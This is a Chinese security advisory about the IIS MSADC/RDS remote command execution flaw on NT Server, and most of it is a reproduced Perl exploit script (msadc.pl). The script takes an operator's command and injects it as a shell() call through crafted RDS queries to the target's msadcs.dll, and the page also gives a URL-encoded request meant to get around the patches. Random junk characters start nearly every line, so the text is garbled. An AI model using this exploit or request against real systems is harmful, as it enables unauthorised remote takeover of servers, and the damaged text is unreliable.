IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=/m}rcDN B]i+,u 涉及程序:
*5^ze+: Microsoft NT server
GV=V^Fl . eiOi3q 描述:
+yvBSpY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[XxA.S)x3 ${e -ffyy 详细:
[-QK$~[ g 如果你没有时间读详细内容的话,就删除:
aK-N}T c:\Program Files\Common Files\System\Msadc\msadcs.dll
(KZUvsS k 有关的安全问题就没有了。
)|Jr|8 X=\x&Wt 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
wAPO{3 [&fWF~D-p< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
xR _DY'z 关于利用ODBC远程漏洞的描述,请参看:
lf}?!*V`+ 7~:>WMv9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WI%zr2T e_\SSH@tw 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
=y`-sU Hx http://www.microsoft.com/security/bulletins/MS99-025faq.asp p{w}
Ed4_<: 这里不再论述。
S|tA[klh A-}PpH~.Z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Sv~PXi^`H <
|]i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
mYsuNTx!. 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
d6Q :{!Sd" .$}Z:,aB
*R9mgv[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
ZipK;!9by [|m>vY! #!perl
CU7iva #
iYmzk?U # MSADC/RDS 'usage' (aka exploit) script
{ 8|Z}?I #
,i$(yx? # by rain.forest.puppy
qAuUe=w%p #
|n-a\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
JXZ:Wg # beta test and find errors!
#7cf 8y 8m13M5r use Socket; use Getopt::Std;
!@]h@MC$7 getopts("e:vd:h:XR", \%args);
t0AqGrn I_Mqh4]; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
TnZc.
XQ4^:3Yc if (!defined $args{h} && !defined $args{R}) {
)oz-<zW print qq~
7p"~:1hU Usage: msadc.pl -h <host> { -d <delay> -X -v }
>x _:=%Wr+ -h <host> = host you want to scan (ip or domain)
B2Awdw3=g -d <seconds> = delay between calls, default 1 second
gC,0+Y~ -X = dump Index Server path table, if available
MlcoOi! -v = verbose
O}\"$n> -e = external dictionary file for step 5
)eedfb1 \VhpB
Or a -R will resume a command session
$4ZDT]n q5K/+N^2? ~; exit;}
BzG!Rg|J Fy+7{=?^F $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nbkky.e if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
e^l+#^fR if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{u[K
^G if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5IF~]5s $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
uhN(`E@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1wH/ #K u3?Pp[tM< if (!defined $args{R}){ $ret = &has_msadc;
/Z9`uK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GT`<jzAi Q .qU%SmQ^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
gV.Pg[[1 . "cmd /c ";
NB6h/0*v $in=<STDIN>; chomp $in;
h/y} $command="cmd /c " . $in ;
)bN3-_ }mS0{rxD4 if (defined $args{R}) {&load; exit;}
`LHfAXKN +`vZg^_c` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!v;_@iW3e &try_btcustmr;
Q9'p3"yoE (R
2P<
Zr print "\nStep 2: Trying to make our own DSN...";
`\FjO" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
l$_+WC*wp /v ;Kb|e print "\nStep 3: Trying known DSNs...";
"l;8
O2;g &known_dsn;
YV!V9 Q1&dB{L print "\nStep 4: Trying known .mdbs...";
7~9f rW<K &known_mdb;
M{kh=b)V s/&]gj" if (defined $args{e}){
u#k6v\/ print "\nStep 5: Trying dictionary of DSN names...";
YaZ"&i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
g[+Q~/yq "9T`3cM0 print "Sorry Charley...maybe next time?\n";
Jt,
4@ exit;
/Gv$1t^a
w3cK:
C0 ##############################################################################
M[N.H9 ?{P6AF-xcf sub sendraw { # ripped and modded from whisker
Q>c6ouuJ sleep($delay); # it's a DoS on the server! At least on mine...
>"{zrwNq my ($pstr)=@_;
o-Fle, qf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
x{o5Ha{ die("Socket problems\n");
uiEA=*axp if(connect(S,pack "SnA4x8",2,80,$target)){
#]/T9: select(S); $|=1;
O,Gn2Do print $pstr; my @in=<S>;
3NZFW{u select(STDOUT); close(S);
AFJY!ou~6 return @in;
0BD((oNg } else { die("Can't connect...\n"); }}
mnaD KeA _%%"Y} ##############################################################################
yC*B OJS y%l#lz=6 sub make_header { # make the HTTP request
E}j8p_p my $msadc=<<EOT
]Wm ?<7H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
fR;_6?p*B User-Agent: ACTIVEDATA
<5vB{)Tq Host: $ip
;7*@Gf}R Content-Length: $clen
^#nWgo7{7 Connection: Keep-Alive
2![W
N*N>O ~o5iCt;w ADCClientVersion:01.06
%"fKZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.g?,:$`0D? %-|q3 ^s --!ADM!ROX!YOUR!WORLD!
4x=Y9w0?8 Content-Type: application/x-varg
Y &+/[[ Content-Length: $reqlen
X6
:~Rjim* ^C|9K>M EOT
2` qXDfD` ; $msadc=~s/\n/\r\n/g;
N,$o'\l return $msadc;}
N\&;R$[9: Z"T(8>c;g ##############################################################################
gi >{`.] 4 Z)]Cq*3 sub make_req { # make the RDS request
gOAluP my ($switch, $p1, $p2)=@_;
P9wDTZ
:4 my $req=""; my $t1, $t2, $query, $dsn;
dig76D_[e 0E1)&f if ($switch==1){ # this is the btcustmr.mdb query
;mlIWn $query="Select * from Customers where City=" . make_shell();
^SCWT\E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6s2g +[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KVy5/A/8c [.,6~=}vP elsif ($switch==2){ # this is general make table query
<2d@\"AoHE $query="create table AZZ (B int, C varchar(10))";
1X.1t^HH: $dsn="$p1";}
DL_\luh KIJ[ cIw elsif ($switch==3){ # this is general exploit table query
>FNt*tX<0 $query="select * from AZZ where C=" . make_shell();
&N ;6G`3 $dsn="$p1";}
Z.JTq~`I >YhqL62!a elsif ($switch==4){ # attempt to hork file info from index server
.5xg;Qg\Y $query="select path from scope()";
V|7CYkB8 $dsn="Provider=MSIDXS;";}
v%[mt`I =p6xc}N elsif ($switch==5){ # bad query
s'I$yJ)@2E $query="select";
$)V4Eu; $dsn="$p1";}
JM%#L *; {{,%p#/b $t1= make_unicode($query);
$n"Llw&) $t2= make_unicode($dsn);
}Jfo(j $req = "\x02\x00\x03\x00";
lR!$+atW $req.= "\x08\x00" . pack ("S1", length($t1));
0<9TyN6 $req.= "\x00\x00" . $t1 ;
|?kH]Trr $req.= "\x08\x00" . pack ("S1", length($t2));
&EOh}O< $req.= "\x00\x00" . $t2 ;
+n dyR $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ewg WzB9c return $req;}
4{KsCd) ND>}t#^$ ##############################################################################
(Q+3aEUE VUb*,/hxa sub make_shell { # this makes the shell() statement
lTXU return "'|shell(\"$command\")|'";}
.$iIr:Tc> e+[J9;g ##############################################################################
-,&Xp>u\ 1F|+4 sub make_unicode { # quick little function to convert to unicode
?x97q3I+] my ($in)=@_; my $out;
L;[*F-+jD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Kf.b
<wP{ return $out;}
o[6hUX0tN $u :=lA:N ##############################################################################
X#y l8k_ p98lu'?@ sub rdo_success { # checks for RDO return success (this is kludge)
qJ@?[|2R my (@in) = @_; my $base=content_start(@in);
i*<,@* if($in[$base]=~/multipart\/mixed/){
DYS(ZY)4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
dQ[lXV[}v return 0;}
G u=Rf`o Z=|@76 ##############################################################################
4]bT O PewLg<?,G4 sub make_dsn { # this makes a DSN for us
( nh!tC my @drives=("c","d","e","f");
<Yc:,CU print "\nMaking DSN: ";
3jNcL{ foreach $drive (@drives) {
-AX3Rnv^! print "$drive: ";
e([&Nr8h my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bA)Xjq)Rr "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m{*l6`dF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
II91Ia $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dZW:Cf 9K return 0 if $2 eq "404"; # not found/doesn't exist
^tv*I~>J! if($2 eq "200") {
Lh}he:k+ foreach $line (@results) {
vzw\f return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4Qv|Z+$i } return 0;}
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